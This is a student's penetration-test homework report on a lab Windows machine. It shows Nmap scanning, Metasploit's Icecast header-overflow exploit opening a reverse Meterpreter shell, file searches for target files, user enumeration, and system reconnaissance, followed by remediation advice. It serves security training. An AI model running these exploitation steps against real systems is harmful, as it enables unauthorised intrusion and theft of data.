

**Coursework**

**Unit 17 Homework: Penetration Test  
Engagement**

Submitted By  
**Shaerul Haque Joarder**

## 1.0 High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

## 2.0 Findings

Machine IP:

Machine's IP address: **192.168.0.20**

Hostname:

**Windows Hostname: MSEDGEWIN10**

Vulnerability Exploited:

### **Icecast Header Overwrite**

*leveraging module*

`exploit/windows/http/icecast_header`

Vulnerability Explanation:

**Luigi Auriemma** discovered a buffer overflow in the header parsing of **icecast versions 2.0.1** and earlier, which is exploited in this module. The sending of **32 HTTP headers** will cause a write one after the end of the pointer array. In win32 this tends to overwrite the saved instruction pointer, and in Linux (depending on the compiler, etc.) such overwriting generally overwrites nothing critical (read: not exploitable). Icecast will think the thread is still active and the thread counter will not be decremented because this exploit uses `ExitThread()`. The counter will be incremented every time your payload exits, until eventually you reach the maximum threadpool limit. Multihitting is allowed, but only till the threadpool is filled.

How severe this **Vulnerability** is?

**CVSS** Base Score for this Vulnerability is **8.1**, which is on the **HIGH** side.

### **Proof of Concept:**

You've been provided full access to the network and are getting ping responses from the CEO's workstation.

1. Perform a service and version scan using Nmap to determine which services are up and running:
  - o Run the Nmap command that performs a service and version scan against the target.

**Answer:**

```
nmap -sV -A 192.168.0.20
```

The result revealed that there are five services open in the CEO's Workstation.

```

root@kali:~# sudo nmap -sV -A 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-24 12:39 PDT
Nmap scan report for 192.168.0.20
Host is up (0.0086s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE      VERSION
25/tcp    open  smtp         SLmail smtpd 5.5.0.4433
|_ smtp_commands: MSEDGEWIN10, SIZE 1000000000, SEND, SOML, SAML, HELP, VRFY, EXPN, ETRN, XTRN,
|_ This server supports the following commands: HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
8389/tcp   open  ms-wbt-server Microsoft Terminal Services
|_ rdp-ntlm-info:
|_ Target_Name: MSEDGEWIN10
|_ NetBIOS_Domain_Name: MSEDGEWIN10
|_ NetBIOS_Computer_Name: MSEDGEWIN10
|_ DNS_Domain_Name: MSEDGEWIN10
|_ DNS_Computer_Name: MSEDGEWIN10
|_ Product_Version: 10.0.17763
|_ System_Time: 2021-07-24T19:39:41+00:00
|_ ssl-cert: Subject: commonName=MSEDGEWIN10
|_ Not valid before: 2021-06-13T04:18:24
|_ Not valid after: 2021-12-13T04:18:24
|_ ssl-date: 2021-07-24T19:39:46+00:00; 0s from scanner time.
8000/tcp   open  http         Icecast streaming media server
|_ http-title: Site doesn't have a title (text/html).
MAC Address: 00:15:5D:00:04:01 (Microsoft)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/24%OT=25%CT=1%CU=39703%PV=Y%D5=1%DC=D%G=Y%M=00155D%T
OS:M=60FC6C82%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=104%TI=I%CI=I%II=I%
OS:SS=5%TS=U)OPS(O1=M5B4NW8NNS%O2=M5B4NW8NNS%O3=M5B4NW8%O4=M5B4NW8NNS%O5=M5
OS:B4NW8NNS%O6=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
OS:ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+%
OS:F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=5%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=
OS:80%W=0%S=Z%A=0%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=5%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=
OS:A%A=0%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=5%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=80%CD=Z)

Network Distance: 1 hop
Service Info: Host: MSEDGEWIN10; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ nbstat: NetBIOS name: MSEDGEWIN10, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:00:04:01 (Microsoft)
|_ smb2-security-mode:
|_ 2.02:
|_ Message signing enabled but not required
|_ smb2-time:
|_ date: 2021-07-24T19:39:41
|_ start_date: N/A

TRACEROUTE
HOP RTT ADDRESS
1 8.58 ms 192.168.0.20

```

2. From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:
  - Run the SearchSploit commands to show available Icecast exploits.

Answer:

`searchsploit icecast`



4. Search for the Icecast module and load it for use.
  - o Run the command to search for the Icecast module:

Answer:

`search icecast`

```
msf5 > search icecast

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  - - - -                                     - - - - -
0  exploit/windows/http/icecast_header  2004-09-28      great No     Icecast Header Overwrite

msf5 > |
```

- o Run the command to use the Icecast module:

**Note:** Instead of copying the entire path to the module, you can use the number in front of it.

Answer:

Used the smart option:

`use 0`

```
msf5 > search icecast

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  - - - -                                     - - - - -
0  exploit/windows/http/icecast_header  2004-09-28      great No     Icecast Header Overwrite

msf5 > use 0
msf5 exploit(windows/http/icecast_header) > |
```

5. Set the RHOST to the target machine.
  - o Run the command that sets the RHOST:

Answer:

```
set RHOSTS 192.168.0.20
```

```
msf5 exploit(windows/http/icecast_header) > set RHOSTS 192.168.0.20
RHOSTS => 192.168.0.20
msf5 exploit(windows/http/icecast_header) > █
```

6. Run the Icecast exploit.
  - Run the command that runs the Icecast exploit.

Answer:

```
run
```

```
msf5 exploit(windows/http/icecast_header) > set RHOSTS 192.168.0.20
RHOSTS => 192.168.0.20
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:49693) at 2021-07-24 13:21:54 -0700

meterpreter > █
```

- Run the command that performs a search for the secretfile.txt on the target.

Answer:

```
search -f secretfile.txt
search -f *secretfile*
```

**Note:**

The former command failed to find any matches but the latter one was successful. It's been revealed from the output that there is no such filename called **secretfile.txt**.

```
meterpreter > search -f secretfile.txt
No files matching your search were found.
meterpreter > search -f *secretfile*
Found 2 results...
  c:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Recent\user.secretfile.txt.lnk (655 bytes)
  c:\Users\IEUser\Documents\user.secretfile.txt (161 bytes)
meterpreter > █
```

7. You should now have a Meterpreter session open.
  - Run the command to performs a search for the recipe.txt on the target:

Answer:

```
search -f recipe.txt
```

```
meterpreter > search -f recipe.txt
No files matching your search were found.
meterpreter > █
```

- **Bonus:** Run the command that exfiltrates the recipe\*.txt file:

Answer:

```
search -f recipe*.txt
search -f *recipe*
```

```
meterpreter > search -f recipe.txt
No files matching your search were found.
meterpreter > search -f recipe*.txt
No files matching your search were found.
meterpreter > search -f *recipe*
Found 2 results...
  c:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Recent\Drinks.recipe.txt.lnk (643 bytes)
  c:\Users\IEUser\Documents\Drinks.recipe.txt (48 bytes)
meterpreter > █
```

**Note:**

The former two commands failed to find any matches but the latest succeeded. It's been revealed from the output that there is no such filename called `recipe.txt`.

8. You can also use Meterpreter's local exploit suggester to find possible exploits.
  - **Note:** The exploit suggester is just that: a suggestion. Keep in mind that the listed suggestions may not include all available exploits.

Answer:

```
run post/multi/recon/local_exploit_suggester
```

And

```
run post/multi/recon/local_exploit_suggester
SHOWDESCRIPTION=true
```

[Output of both commands have been shown in the following screen shot]



```

meterpreter > run post/multi/recon/local_exploit_suggester

[*] 192.168.0.20 - Collecting local exploits for x86/windows...
[*] 192.168.0.20 - 30 exploit checks are being tried...
[+] 192.168.0.20 - exploit/windows/local/ikeext service: The target appears to be vulnerable.
[+] 192.168.0.20 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
meterpreter > run post/multi/recon/local_exploit_suggester SHOWDESCRIPTION=true

[*] 192.168.0.20 - Collecting local exploits for x86/windows...
[*] 192.168.0.20 - 30 exploit checks are being tried...
[+] 192.168.0.20 - exploit/windows/local/ikeext service: The target appears to be vulnerable.
    This module exploits a missing DLL loaded by the 'IKE and AuthIP
    Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts
    automatically in default installations of Vista-Win8. It requires an
    insecure bin path to plant the DLL payload.
[+] 192.168.0.20 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
    Module utilizes the Net-NTLMv2 reflection between DCOM/RPC to
    achieve a SYSTEM handle for elevation of privilege. Currently the
    module does not spawn as SYSTEM, however once achieving a shell, one
    can easily use incognito to impersonate the token.
meterpreter >

```

**Note:** The latter command is handy for description of the exploits.

#### Bonus

A. Run a Meterpreter post script that enumerates all logged on users.

Answer:

```
run post/windows/gather/enum_logged_on_users
```

```

meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 2

Current Logged Users
=====

SID                                User
---                                ----
S-1-5-21-321011808-3761883066-353627080-1000  MSEDGWIN10\IEUser

[+] Results saved in: /root/.msf4/loot/20210724144110_default_192.168.0.20_host.users.activ_536817.txt

Recently Logged Users
=====

SID                                Profile Path
---                                -
S-1-5-18                          %systemroot%\system32\config\systemprofile
S-1-5-19                          %systemroot%\ServiceProfiles\LocalService
S-1-5-20                          %systemroot%\ServiceProfiles\NetworkService
S-1-5-21-321011808-3761883066-353627080-1000  C:\Users\IEUser
S-1-5-21-321011808-3761883066-353627080-1003  C:\Users\sysadmin
S-1-5-21-321011808-3761883066-353627080-1004  C:\Users\vagrant

meterpreter >

```

B. Open a Meterpreter shell and gather system information for the target.

Answer:

```
shell  
systeminfo
```

```
meterpreter > shell  
Process 1320 created.  
Channel 1 created.  
Microsoft Windows [Version 10.0.17763.1935]  
(c) 2018 Microsoft Corporation. All rights reserved.  
  
C:\Program Files (x86)\Icecast2 Win32>systeminfo  
systeminfo  
  
Host Name:                MSEDGEWIN10  
OS Name:                  Microsoft Windows 10 Enterprise Evaluation  
OS Version:               10.0.17763 N/A Build 17763  
OS Manufacturer:         Microsoft Corporation  
OS Configuration:        Standalone Workstation  
OS Build Type:             Multiprocessor Free  
Registered Owner:           
Registered Organization:  Microsoft  
Product ID:               00329-20000-00001-AA236  
Original Install Date:    3/19/2019, 4:59:35 AM  
System Boot Time:         7/24/2021, 2:28:16 PM  
System Manufacturer:      Microsoft Corporation  
System Model:              Virtual Machine  
System Type:               x64-based PC  
Processor(s):              1 Processor(s) Installed.  
                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2295 Mhz  
BIOS Version:              American Megatrends Inc. 090007 , 5/18/2018  
Windows Directory:        C:\Windows  
System Directory:          C:\Windows\system32  
Boot Device:               \Device\HarddiskVolume1  
System Locale:              en-us;English (United States)  
Input Locale:               en-us;English (United States)  
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)  
Total Physical Memory:     1,712 MB  
Available Physical Memory: 587 MB  
Virtual Memory: Max Size:  2,992 MB  
Virtual Memory: Available: 1,570 MB  
Virtual Memory: In Use:    1,422 MB  
Page File Location(s):     C:\pagefile.sys  
Domain:                    WORKGROUP  
Logon Server:               \\MSEDGEWIN10  
Hotfix(s):                  12 Hotfix(s) Installed.  
                           [01]: KB4601555  
                           [02]: KB4465065  
                           [03]: KB4470788  
                           [04]: KB4480056  
                           [05]: KB4486153  
                           [06]: KB4535680  
                           [07]: KB4537759  
                           [08]: KB4539571  
                           [09]: KB4549947  
                           [10]: KB4580325
```

C. Run the command that displays the target's computer system information:

Answer:

```
sysinfo
```

```
meterpreter > sysinfo
Computer      : MSEDGEWIN10
OS            : Windows 10 (10.0 Build 17763).
Architecture  : x64
System Language : en-US
Domain        : WORKGROUP
Logged On Users : 1
Meterpreter   : x86/windows
meterpreter > █
```

## 3.0 Recommendations

### Immediate Action

Upgrade to Iccast 2.0.2 or later

### End Point Hardening

Regular Update of Windows OS  
Patch Update for Installed Applications

### End Point Security

Installation of End Point Firewall  
Auto vulnerability scan and Detection

### Network Access Security

Implementing Active Directory (AD) Based Central Policy  
Use of SDP (Software Defined Perimeter) or at least VPN for remote access

### Audit

Auto workstation Audit at a regular interval

### Long-Term Plan

Corrective Measures for enhanced IT Infrastructure  
Implementing ***SoC for Orchestrated SIEM***  
Periodic ***Penetration Test***  
Periodic ***IT Security Audit***